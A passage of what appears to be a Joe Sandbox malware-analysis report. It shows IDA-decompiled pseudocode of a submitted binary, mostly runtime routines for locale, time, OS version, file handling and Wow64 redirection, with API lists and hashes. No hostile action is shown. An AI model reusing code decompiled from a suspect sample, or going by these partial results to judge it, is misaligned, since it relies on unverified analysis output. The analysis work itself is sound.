                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: InfoLocale
                                                          • String ID:
                                                          • API String ID: 2299586839-0
                                                          • Opcode ID: 932cf14b9e230fbd5ad0920958dc4156f0791a313a63ab211e2034feafd5de3d
                                                          • Instruction ID: 4f0bdbd3f8ded7ed1a25268213793bcb0e052a54da759137329d461c41add029
                                                          • Opcode Fuzzy Hash: 932cf14b9e230fbd5ad0920958dc4156f0791a313a63ab211e2034feafd5de3d
                                                          • Instruction Fuzzy Hash: 8AD05EB630D2502AE324559B2D85EBB4BACCEC57A4F14407EF648D6241D2248C079B76
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004026C4() {
                                                          				void* _v14;
                                                          				void* _v16;
                                                          				struct _SYSTEMTIME _v28;
                                                          				signed int _t13;
                                                          
                                                          				GetSystemTime( &_v28);
                                                          				_t13 = ((_v28.wHour & 0x0000ffff) * 0x3c + _v28.wMinute) * 0x3c * 0x3e8;
                                                          				 *0x40b02c = _t13;
                                                          				return _t13;
                                                          			}







                                                          0x004026ce
                                                          0x004026f3
                                                          0x004026f5
                                                          0x004026fe

                                                          APIs
                                                          • GetSystemTime.KERNEL32(?), ref: 004026CE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: SystemTime
                                                          • String ID:
                                                          • API String ID: 2656138-0
                                                          • Opcode ID: ea6675ebeb63a0a9a47573394461451ad3244f368073b02e8c46e04122ef07d3
                                                          • Instruction ID: 2fd9a68c0dbde603d2fbf043753412ebb29498d380aade495149b20e3fa82795
                                                          • Opcode Fuzzy Hash: ea6675ebeb63a0a9a47573394461451ad3244f368073b02e8c46e04122ef07d3
                                                          • Instruction Fuzzy Hash: 4FE04F21E0010A42C704ABA5CD435FDF7AEEB95600B044172A418E92E0F631C251C788
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00405CB0() {
                                                          				intOrPtr _v132;
                                                          				int _t2;
                                                          				intOrPtr _t3;
                                                          				struct _OSVERSIONINFOA* _t4;
                                                          
                                                          				_t4->dwOSVersionInfoSize = 0x94;
                                                          				_t2 = GetVersionExA(_t4);
                                                          				if(_t2 != 0) {
                                                          					_t3 = _v132;
                                                          					 *0x40a07c = _t3;
                                                          					return _t3;
                                                          				}
                                                          				return _t2;
                                                          			}







                                                          0x00405cb6
                                                          0x00405cbe
                                                          0x00405cc5
                                                          0x00405cc7
                                                          0x00405ccb
                                                          0x00000000
                                                          0x00405ccb
                                                          0x00405cd6

                                                          APIs
                                                          • GetVersionExA.KERNEL32(?,004065AC,00000000,004065BA,?,?,?,?,?,004096AC), ref: 00405CBE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: Version
                                                          • String ID:
                                                          • API String ID: 1889659487-0
                                                          • Opcode ID: 7fe8f477311258aab5f7ad0fd2ac618af5bf688ee042f3b164b7d17cd6e24d04
                                                          • Instruction ID: 6961960961ae02171bebdc999c22018aeffe225005ffe8b0eab140491a1b62f0
                                                          • Opcode Fuzzy Hash: 7fe8f477311258aab5f7ad0fd2ac618af5bf688ee042f3b164b7d17cd6e24d04
                                                          • Instruction Fuzzy Hash: 47C0807040470147E3105F35DC01B1732D46744314F84053DE9E4E13D1E77C80114FAB
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 69%
                                                          			E00406DE4(void* __ebx, void* __edi, void* __esi) {
                                                          				void* _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				struct HINSTANCE__* _t21;
                                                          				struct HINSTANCE__* _t49;
                                                          				intOrPtr _t63;
                                                          				void* _t71;
                                                          
                                                          				_v20 = 0;
                                                          				_v12 = 0;
                                                          				_push(_t71);
                                                          				_push(0x406ee9);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t71 + 0xfffffff0;
                                                          				_push("GetUserDefaultUILanguage");
                                                          				_t21 = GetModuleHandleA("kernel32.dll");
                                                          				_push(_t21);
                                                          				L004044F8();
                                                          				_t49 = _t21;
                                                          				if(_t49 == 0) {
                                                          					if( *0x40a07c != 2) {
                                                          						if(E00406DAC(0, "Control Panel\\Desktop\\ResourceLocale", 0x80000001,  &_v8, 1, 0) == 0) {
                                                          							E00406DA0();
                                                          							RegCloseKey(_v8);
                                                          						}
                                                          					} else {
                                                          						if(E00406DAC(0, ".DEFAULT\\Control Panel\\International", 0x80000003,  &_v8, 1, 0) == 0) {
                                                          							E00406DA0();
                                                          							RegCloseKey(_v8);
                                                          						}
                                                          					}
                                                          					E0040322C( &_v20, E00406F8C);
                                                          					E004032FC( &_v20, _v12);
                                                          					E004027B4(_v20,  &_v16);
                                                          					if(_v16 != 0) {
                                                          					}
                                                          				} else {
                                                          					_t49->i();
                                                          				}
                                                          				_pop(_t63);
                                                          				 *[fs:eax] = _t63;
                                                          				_push(E00406EF0);
                                                          				E00403198( &_v20);
                                                          				return E00403198( &_v12);
                                                          			}











                                                          0x00406def
                                                          0x00406df2
                                                          0x00406df7
                                                          0x00406df8
                                                          0x00406dfd
                                                          0x00406e00
                                                          0x00406e03
                                                          0x00406e0d
                                                          0x00406e12
                                                          0x00406e13
                                                          0x00406e18
                                                          0x00406e1c
                                                          0x00406e2e
                                                          0x00406e83
                                                          0x00406e90
                                                          0x00406e99
                                                          0x00406e99
                                                          0x00406e30
                                                          0x00406e4b
                                                          0x00406e58
                                                          0x00406e61
                                                          0x00406e61
                                                          0x00406e4b
                                                          0x00406ea6
                                                          0x00406eb1
                                                          0x00406ebc
                                                          0x00406ec7
                                                          0x00406ec7
                                                          0x00406e1e
                                                          0x00406e1e
                                                          0x00406e20
                                                          0x00406ecd
                                                          0x00406ed0
                                                          0x00406ed3
                                                          0x00406edb
                                                          0x00406ee8

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00406EE9,?,0040BDC8), ref: 00406E0D
                                                          • 6CAA5550.KERNEL32(00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00406EE9,?,0040BDC8), ref: 00406E13
                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00406EE9,?,0040BDC8), ref: 00406E61
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: A5550CloseHandleModule
                                                          • String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
                                                          • API String ID: 60188751-2401316094
                                                          • Opcode ID: 88167434d8b9e8ca4c5cf09045fd59891a0fc668b074b158b0db72b57aa501f7
                                                          • Instruction ID: 29e02ae748a12762089417844227ba249160e8fc10eb37246adaf5d688aa78a8
                                                          • Opcode Fuzzy Hash: 88167434d8b9e8ca4c5cf09045fd59891a0fc668b074b158b0db72b57aa501f7
                                                          • Instruction Fuzzy Hash: EA216134A00309ABCB10EAA5DC42B9F77A9AF44304F61447BA511F72C5DB7CAA1587A8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 89%
                                                          			E00403B3B(void** __eax) {
                                                          				void* _t25;
                                                          				void* _t26;
                                                          				void* _t27;
                                                          				long _t30;
                                                          				void* _t33;
                                                          				void* _t35;
                                                          				long _t36;
                                                          				int _t39;
                                                          				void* _t41;
                                                          				void* _t47;
                                                          				void* _t48;
                                                          				long _t49;
                                                          				long _t50;
                                                          				void* _t53;
                                                          				void** _t54;
                                                          				DWORD* _t55;
                                                          
                                                          				_t54 = __eax;
                                                          				 *((intOrPtr*)(__eax + 0xc)) = 0;
                                                          				 *((intOrPtr*)(__eax + 0x10)) = 0;
                                                          				_t25 =  *((intOrPtr*)(__eax + 4)) - 0xd7b1;
                                                          				if(_t25 == 0) {
                                                          					_t26 = 0x80000000;
                                                          					_t50 = 2;
                                                          					_t49 = 3;
                                                          					 *((intOrPtr*)(__eax + 0x1c)) = E00403ACC;
                                                          					L8:
                                                          					_t54[9] = 0x403b23;
                                                          					_t54[8] = E00403AF3;
                                                          					if(_t54[0x12] == 0) {
                                                          						_t54[9] = E00403AF3;
                                                          						if(_t54[1] == 0xd7b2) {
                                                          							_t27 = GetStdHandle(0xfffffff5);
                                                          						} else {
                                                          							_t27 = GetStdHandle(0xfffffff6);
                                                          						}
                                                          						if(_t27 == 0xffffffff) {
                                                          							L35:
                                                          							_t54[1] = 0xd7b0;
                                                          							return GetLastError();
                                                          						} else {
                                                          							 *_t54 = _t27;
                                                          							L28:
                                                          							if(_t54[1] == 0xd7b1) {
                                                          								L32:
                                                          								return 0;
                                                          							}
                                                          							_t30 = GetFileType( *_t54);
                                                          							if(_t30 == 0) {
                                                          								CloseHandle( *_t54);
                                                          								_t54[1] = 0xd7b0;
                                                          								return 0x69;
                                                          							}
                                                          							if(_t30 == 2) {
                                                          								_t54[8] = E00403AF6;
                                                          							}
                                                          							goto L32;
                                                          						}
                                                          					}
                                                          					_push(0);
                                                          					_push(0x80);
                                                          					_push(_t49);
                                                          					_push(0);
                                                          					_push(_t50);
                                                          					_push(_t26);
                                                          					_t33 =  &(_t54[0x12]);
                                                          					_push(_t33);
                                                          					L00401184();
                                                          					if(_t33 == 0xffffffff) {
                                                          						goto L35;
                                                          					}
                                                          					 *_t54 = _t33;
                                                          					if(_t54[1] != 0xd7b3) {
                                                          						goto L28;
                                                          					}
                                                          					_t54[1] = _t54[1] - 1;
                                                          					_t35 = GetFileSize( *_t54, 0) + 1;
                                                          					if(_t35 == 0) {
                                                          						goto L35;
                                                          					}
                                                          					_t36 = _t35 - 0x81;
                                                          					if(_t36 < 0) {
                                                          						_t36 = 0;
                                                          					}
                                                          					if(SetFilePointer( *_t54, _t36, 0, 0) + 1 == 0) {
                                                          						goto L35;
                                                          					} else {
                                                          						_t39 = ReadFile( *_t54,  &(_t54[0x53]), 0x80, _t55, 0);
                                                          						_t53 = 0;
                                                          						if(_t39 != 1) {
                                                          							goto L35;
                                                          						}
                                                          						_t41 = 0;
                                                          						while(_t41 < _t53) {
                                                          							if( *((char*)(_t54 + _t41 + 0x14c)) == 0x1a) {
                                                          								if(SetFilePointer( *_t54, _t41 - _t53, 0, 2) + 1 == 0 || SetEndOfFile( *_t54) != 1) {
                                                          									goto L35;
                                                          								} else {
                                                          									goto L28;
                                                          								}
                                                          							}
                                                          							_t41 = _t41 + 1;
                                                          						}
                                                          						goto L28;
                                                          					}
                                                          				}
                                                          				_t47 = _t25 - 1;
                                                          				if(_t47 == 0) {
                                                          					_t26 = 0x40000000;
                                                          					_t50 = 1;
                                                          					_t49 = 2;
                                                          					L7:
                                                          					_t54[7] = E00403AF6;
                                                          					goto L8;
                                                          				}
                                                          				_t48 = _t47 - 1;
                                                          				if(_t48 == 0) {
                                                          					_t26 = 0xc0000000;
                                                          					_t50 = 1;
                                                          					_t49 = 3;
                                                          					goto L7;
                                                          				}
                                                          				return _t48;
                                                          			}



















                                                          0x00403b3c
                                                          0x00403b40
                                                          0x00403b43
                                                          0x00403b49
                                                          0x00403b4e
                                                          0x00403b5b
                                                          0x00403b60
                                                          0x00403b65
                                                          0x00403b6a
                                                          0x00403b9a
                                                          0x00403b9a
                                                          0x00403ba1
                                                          0x00403bac
                                                          0x00403c60
                                                          0x00403c6e
                                                          0x00403c76
                                                          0x00403c70
                                                          0x00403c76
                                                          0x00403c76
                                                          0x00403c7e
                                                          0x00403cbb
                                                          0x00403cbb
                                                          0x00000000
                                                          0x00403c80
                                                          0x00403c80
                                                          0x00403c82
                                                          0x00403c89
                                                          0x00403ca2
                                                          0x00000000
                                                          0x00403ca2
                                                          0x00403c8d
                                                          0x00403c94
                                                          0x00403ca8
                                                          0x00403cad
                                                          0x00000000
                                                          0x00403cb4
                                                          0x00403c99
                                                          0x00403c9b
                                                          0x00403c9b
                                                          0x00000000
                                                          0x00403c99
                                                          0x00403c7e
                                                          0x00403bb2
                                                          0x00403bb4
                                                          0x00403bb9
                                                          0x00403bba
                                                          0x00403bbc
                                                          0x00403bbd
                                                          0x00403bbe
                                                          0x00403bc1
                                                          0x00403bc2
                                                          0x00403bca
                                                          0x00000000
                                                          0x00000000
                                                          0x00403bd0
                                                          0x00403bd9
                                                          0x00000000
                                                          0x00000000
                                                          0x00403bdf
                                                          0x00403beb
                                                          0x00403bec
                                                          0x00000000
                                                          0x00000000
                                                          0x00403bf2
                                                          0x00403bf7
                                                          0x00403bf9
                                                          0x00403bf9
                                                          0x00403c08
                                                          0x00000000
                                                          0x00403c0e
                                                          0x00403c23
                                                          0x00403c28
                                                          0x00403c2a
                                                          0x00000000
                                                          0x00000000
                                                          0x00403c30
                                                          0x00403c32
                                                          0x00403c3e
                                                          0x00403c52
                                                          0x00000000
                                                          0x00403c5e
                                                          0x00000000
                                                          0x00403c5e
                                                          0x00403c52
                                                          0x00403c40
                                                          0x00403c40
                                                          0x00000000
                                                          0x00403c32
                                                          0x00403c08
                                                          0x00403b50
                                                          0x00403b51
                                                          0x00403b73
                                                          0x00403b78
                                                          0x00403b7d
                                                          0x00403b93
                                                          0x00403b93
                                                          0x00000000
                                                          0x00403b93
                                                          0x00403b53
                                                          0x00403b54
                                                          0x00403b84
                                                          0x00403b89
                                                          0x00403b8e
                                                          0x00000000
                                                          0x00403b8e
                                                          0x00000000

                                                          APIs
                                                          • 6CAA5CA0.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403BC2
                                                          • GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403BE6
                                                          • SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403C02
                                                          • ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403C23
                                                          • SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403C4C
                                                          • SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403C56
                                                          • GetStdHandle.KERNEL32(000000F5), ref: 00403C76
                                                          • GetFileType.KERNEL32(?,000000F5), ref: 00403C8D
                                                          • CloseHandle.KERNEL32(?,?,000000F5), ref: 00403CA8
                                                          • GetLastError.KERNEL32(000000F5), ref: 00403CC2
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: File$HandlePointer$CloseErrorLastReadSizeType
                                                          • String ID:
                                                          • API String ID: 2587015848-0
                                                          • Opcode ID: 82afb3ba326b040618bb1f5d1ace889cbe7170a3c7233cc425c4da9df6c52ac5
                                                          • Instruction ID: e865e415cc3bddce3264ca3c3b1bb7a8c5c6c551cb095d29116a0d7d95c160d9
                                                          • Opcode Fuzzy Hash: 82afb3ba326b040618bb1f5d1ace889cbe7170a3c7233cc425c4da9df6c52ac5
                                                          • Instruction Fuzzy Hash: 8141A1712086009EF7344F258909B237DE8EB4471AF208A3FA5D6FA6E1D7BD9A05874D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 66%
                                                          			E00408C18() {
                                                          				struct HINSTANCE__* _t1;
                                                          				struct HINSTANCE__* _t2;
                                                          				char _t3;
                                                          
                                                          				_push("Wow64DisableWow64FsRedirection");
                                                          				_t1 = GetModuleHandleA("kernel32.dll");
                                                          				_push(_t1);
                                                          				L004044F8();
                                                          				 *0x40bc98 = _t1;
                                                          				_push("Wow64RevertWow64FsRedirection");
                                                          				_t2 = GetModuleHandleA("kernel32.dll");
                                                          				_push(_t2);
                                                          				L004044F8();
                                                          				 *0x40bc9c = _t2;
                                                          				if( *0x40bc98 == 0 ||  *0x40bc9c == 0) {
                                                          					_t3 = 0;
                                                          				} else {
                                                          					_t3 = 1;
                                                          				}
                                                          				 *0x40bca0 = _t3;
                                                          				return _t3;
                                                          			}






                                                          0x00408c18
                                                          0x00408c22
                                                          0x00408c27
                                                          0x00408c28
                                                          0x00408c2d
                                                          0x00408c32
                                                          0x00408c3c
                                                          0x00408c41
                                                          0x00408c42
                                                          0x00408c47
                                                          0x00408c53
                                                          0x00408c5e
                                                          0x00408c62
                                                          0x00408c62
                                                          0x00408c62
                                                          0x00408c64
                                                          0x00408c69

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,004096BB), ref: 00408C22
                                                          • 6CAA5550.KERNEL32(00000000,kernel32.dll,Wow64DisableWow64FsRedirection,004096BB), ref: 00408C28
                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,004096BB), ref: 00408C3C
                                                          • 6CAA5550.KERNEL32(00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,004096BB), ref: 00408C42
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: A5550HandleModule
                                                          • String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll
                                                          • API String ID: 3262523333-4169039593
                                                          • Opcode ID: 992cc107602789456ca592d3ad42e8660dcff720d91179006d79ed4e4d06c6dc
                                                          • Instruction ID: 2add19a85ab39d2040d46d45e8b0440f52d8c7f1555a81f654838bd9e1ffd8d4
                                                          • Opcode Fuzzy Hash: 992cc107602789456ca592d3ad42e8660dcff720d91179006d79ed4e4d06c6dc
                                                          • Instruction Fuzzy Hash: ACE01AA058E3409DFA007B755F4EB1625709341788F10443FA584761D2CF7C20409B7D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E00405380(void* __ebx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				intOrPtr _t148;
                                                          				intOrPtr _t156;
                                                          
                                                          				_t153 = __esi;
                                                          				_t152 = __edi;
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_push(_t156);
                                                          				_push(0x4055c8);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t156;
                                                          				_t104 = GetSystemDefaultLCID();
                                                          				E004051C8(_t31, 0, 0x14,  &_v16);
                                                          				E004031E8(0x40b494, _t104, _v16, __edi, __esi);
                                                          				E004051C8(_t104, 0x4055e0, 0x1b,  &_v16);
                                                          				 *0x40b498 = E00404C80(0x4055e0, 0);
                                                          				E004051C8(_t104, 0x4055e0, 0x1c,  &_v16);
                                                          				 *0x40b499 = E00404C80(0x4055e0, 0);
                                                          				 *0x40b49a = E00405214(_t104, 0x2c, 0xf);
                                                          				 *0x40b49b = E00405214(_t104, 0x2e, 0xe);
                                                          				E004051C8(_t104, 0x4055e0, 0x19,  &_v16);
                                                          				 *0x40b49c = E00404C80(0x4055e0, 0);
                                                          				 *0x40b49d = E00405214(_t104, 0x2f, 0x1d);
                                                          				E004051C8(_t104, "m/d/yy", 0x1f,  &_v16);
                                                          				E004031E8(0x40b4a0, _t104, _v16, _t152, _t153);
                                                          				E004051C8(_t104, "mmmm d, yyyy", 0x20,  &_v16);
                                                          				E004031E8(0x40b4a4, _t104, _v16, _t152, _t153);
                                                          				 *0x40b4a8 = E00405214(_t104, 0x3a, 0x1e);
                                                          				E004051C8(_t104, 0x405614, 0x28,  &_v16);
                                                          				E004031E8(0x40b4ac, _t104, _v16, _t152, _t153);
                                                          				E004051C8(_t104, 0x405620, 0x29,  &_v16);
                                                          				E004031E8(0x40b4b0, _t104, _v16, _t152, _t153);
                                                          				E004051C8(_t104, 0x4055e0, 0x25,  &_v16);
                                                          				if(E00404C80(0x4055e0, 0) != 0) {
                                                          					E0040322C( &_v8, 0x405638);
                                                          				} else {
                                                          					E0040322C( &_v8, 0x40562c);
                                                          				}
                                                          				E004051C8(_t104, 0x4055e0, 0x23,  &_v16);
                                                          				if(E00404C80(0x4055e0, 0) != 0) {
                                                          					E00403198( &_v12);
                                                          				} else {
                                                          					E0040322C( &_v12, 0x405644);
                                                          				}
                                                          				_push(_v8);
                                                          				_push(":mm");
                                                          				_push(_v12);
                                                          				E004033B4();
                                                          				_push(_v8);
                                                          				_push(":mm:ss");
                                                          				_push(_v12);
                                                          				E004033B4();
                                                          				_pop(_t148);
                                                          				 *[fs:eax] = _t148;
                                                          				_push(E004055CF);
                                                          				return E004031B8( &_v16, 3);
                                                          			}








                                                          0x00405380
                                                          0x00405380
                                                          0x00405383
                                                          0x00405385
                                                          0x00405387
                                                          0x0040538a
                                                          0x0040538b
                                                          0x0040538e
                                                          0x0040538f
                                                          0x00405394
                                                          0x00405397
                                                          0x0040539f
                                                          0x004053ae
                                                          0x004053bb
                                                          0x004053d0
                                                          0x004053df
                                                          0x004053f4
                                                          0x00405403
                                                          0x00405416
                                                          0x00405429
                                                          0x0040543e
                                                          0x0040544d
                                                          0x00405460
                                                          0x00405475
                                                          0x00405482
                                                          0x00405497
                                                          0x004054a4
                                                          0x004054b7
                                                          0x004054cc
                                                          0x004054d9
                                                          0x004054ee
                                                          0x004054fb
                                                          0x00405510
                                                          0x00405521
                                                          0x0040553a
                                                          0x00405523
                                                          0x0040552b
                                                          0x0040552b
                                                          0x0040554f
                                                          0x00405560
                                                          0x00405574
                                                          0x00405562
                                                          0x0040556a
                                                          0x0040556a
                                                          0x00405579
                                                          0x0040557c
                                                          0x00405581
                                                          0x0040558e
                                                          0x00405593
                                                          0x00405596
                                                          0x0040559b
                                                          0x004055a8
                                                          0x004055af
                                                          0x004055b2
                                                          0x004055b5
                                                          0x004055c7

                                                          APIs
                                                          • GetSystemDefaultLCID.KERNEL32(00000000,004055C8,?,?,?,?,00000000,00000000,00000000,?,004065A7,00000000,004065BA), ref: 0040539A
                                                            • Part of subcall function 004051C8: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040B4BC,00000001,?,00405293,?,00000000,00405372), ref: 004051E6
                                                            • Part of subcall function 00405214: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,00405416,?,?,?,00000000,004055C8), ref: 00405227
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: InfoLocale$DefaultSystem
                                                          • String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
                                                          • API String ID: 1044490935-665933166
                                                          • Opcode ID: 56806a31754ff9cce930bb3ec31528de0adc6503f6030c8233a4be88310a35d8
                                                          • Instruction ID: 9bf1190367ce94da82bf36496ac74bdc3e450a6f44cc66b9fb5af58f4e507b24
                                                          • Opcode Fuzzy Hash: 56806a31754ff9cce930bb3ec31528de0adc6503f6030c8233a4be88310a35d8
                                                          • Instruction Fuzzy Hash: EA512F34B006487BD700EBA59C81B8F676ADB88304F50C47BB505BB3C6DA3DDA058B5C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 68%
                                                          			E0040375C(char* __eax) {
                                                          				short _v2064;
                                                          				short* _t8;
                                                          				short* _t15;
                                                          				char* _t16;
                                                          				short* _t17;
                                                          				int _t18;
                                                          				int _t19;
                                                          
                                                          				_t16 = __eax;
                                                          				_t18 = E004032F4(__eax);
                                                          				if(E004032F4(_t16) >= 0x400) {
                                                          					_t8 = MultiByteToWideChar(0, 0, _t16, _t18, 0, 0);
                                                          					_t19 = _t8;
                                                          					_push(_t19);
                                                          					_push(0);
                                                          					L00401224();
                                                          					_t17 = _t8;
                                                          					MultiByteToWideChar(0, 0, _t16, _t18, _t17, _t19);
                                                          				} else {
                                                          					_push(MultiByteToWideChar(0, 0, E004034B8(_t16), _t18,  &_v2064, 0x400));
                                                          					_t15 =  &_v2064;
                                                          					_push(_t15);
                                                          					L00401224();
                                                          					_t17 = _t15;
                                                          				}
                                                          				return _t17;
                                                          			}










                                                          0x00403766
                                                          0x0040376f
                                                          0x0040377d
                                                          0x004037b4
                                                          0x004037b9
                                                          0x004037bb
                                                          0x004037bc
                                                          0x004037be
                                                          0x004037c3
                                                          0x004037cd
                                                          0x0040377f
                                                          0x0040379b
                                                          0x0040379c
                                                          0x004037a0
                                                          0x004037a1
                                                          0x004037a6
                                                          0x004037a6
                                                          0x004037de

                                                          APIs
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403796
                                                          • SysAllocStringLen.OLEAUT32(?,00000000), ref: 004037A1
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004037B4
                                                          • SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 004037BE
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004037CD
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: ByteCharMultiWide$AllocString
                                                          • String ID:
                                                          • API String ID: 262959230-0
                                                          • Opcode ID: bf6864a40a10f8d5c9f9c3a850e9cb7012b79aac028c98610c7206446ff1e0c0
                                                          • Instruction ID: 4467adfd160ef2e886eef196ede4891b71e87803e826c11556a0c4038ec11822
                                                          • Opcode Fuzzy Hash: bf6864a40a10f8d5c9f9c3a850e9cb7012b79aac028c98610c7206446ff1e0c0
                                                          • Instruction Fuzzy Hash: A4F044A13442843AE56075A65C43FAB198CCB41B6AF10457FF704FA1C2D8B89D05927D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 67%
                                                          			E00401918() {
                                                          				signed int _t13;
